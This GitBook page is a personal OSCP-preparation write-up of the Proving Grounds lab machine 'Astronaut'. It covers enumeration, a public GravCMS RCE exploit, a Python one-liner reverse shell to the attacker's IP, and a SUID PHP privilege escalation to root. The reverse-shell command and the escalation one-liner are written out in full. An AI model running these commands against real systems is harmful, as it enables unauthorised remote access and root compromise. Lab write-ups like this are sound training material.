Braindump
Read BlogpostsLet's Connect
  • Introduction: My OSCP Journey
  • Writeup Index
  • OSCP Machine Writeups
    • 🔥PG - Practice
      • Shenzi
      • DVR4
      • Resourced
      • Kevin
      • Nara
      • Jacko
      • Authby
      • Access
      • Internal
      • Hutch
      • Algernon
      • HelpDesk
      • Squid
      • Hepet
      • Craft2
      • ClamAV
      • Pelican
      • Payday
      • Snookums
      • Bratarina
      • Nibbles
      • Hetemit
      • Hawat
      • Astronaut
      • Exfiltrated
      • Fanatastic
      • Wombo
      • Levram
      • LaVita
    • 💣HackTheBox
      • Devel
      • Legacy
      • Intelligence
        • Learning
      • Blackfield
        • PrivEsc - SeBackupPrivilege
      • Sauna
      • Bastard
      • Arctic
      • Forest
      • Active
      • SecNotes
      • Access
  • Preparation Notes
    • Tips and Tricks
      • File Transfer
      • Download a file - Windows CLI
      • Bypassing Firewall/Defender/UAC
      • Accessing File
      • Reverse Shell
      • OneLiner - Reverse/bind Shell
      • OneLiner - MSFVenom
    • Enumeration Techniques
      • System and Network Enumeration
      • Web Enumeration
      • Service Enum
      • CMS
    • Exploitation
      • Exploiting Web Apps
      • Exploiting Wordpress
      • Public Exploits
    • Privilege Escalation
      • Linux Privilege Escalation
        • Disk Group PrivEsc
      • Windows Privilege Escalation
    • Active Directory
      • Enumeration
      • AD Attacks
      • mimikatz
      • Lateral movement
    • Pivoting and Networking
      • SSH Port Forwarding
      • Ligolo-ng
    • Password Cracking
Powered by GitBook
On this page
  • Summary
  • 🧵 Let's Unpack

Was this helpful?

  1. OSCP Machine Writeups
  2. PG - Practice

Astronaut

Summary

  • Apache server hosting GravCMS was found on port 80.

  • Exploited a known GravCMS RCE vulnerability to get a foothold.

  • Used a one-liner Python reverse shell for stable access (as Meterpreter was unstable).

  • Privilege escalation achieved via SUID misconfiguration in PHP binary.

🧵 Let's Unpack


Enumeration

sudo nmap -sV -sC -p- -Pn 192.168.229.12

Open Ports:

  • 22/tcp → OpenSSH 8.2p1

  • 80/tcp → Apache httpd 2.4.41, directory listing reveals: /grav-admin


Initial Foothold

🔍 Target: GravCMS (on /grav-admin)

  • Public exploit found:

    • Also available as a Metasploit module: exploit/linux/http/gravcms_exec

⚙️ Execution

  1. Meterpreter payload was unstable.

  2. Used a Python one-liner reverse shell for stability:

    export RHOST="192.168.45.207";export RPORT=9999;python3 -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/bash")'

✅ Got a stable shell as www-data.


Privilege Escalation

  1. SUID Binaries Enumeration:

    find / -perm -4000 -type f -exec ls -la {} 2>/dev/null
    • Found: php with SUID bit set

  2. Exploit: Abuse SUID PHP to execute shell with elevated privileges

    php -r "pcntl_exec('/bin/sh', ['-p']);"

✅ Got root shell!

PreviousHawatNextExfiltrated

Last updated 1 month ago

Was this helpful?

🔥
Exploit-DB #49973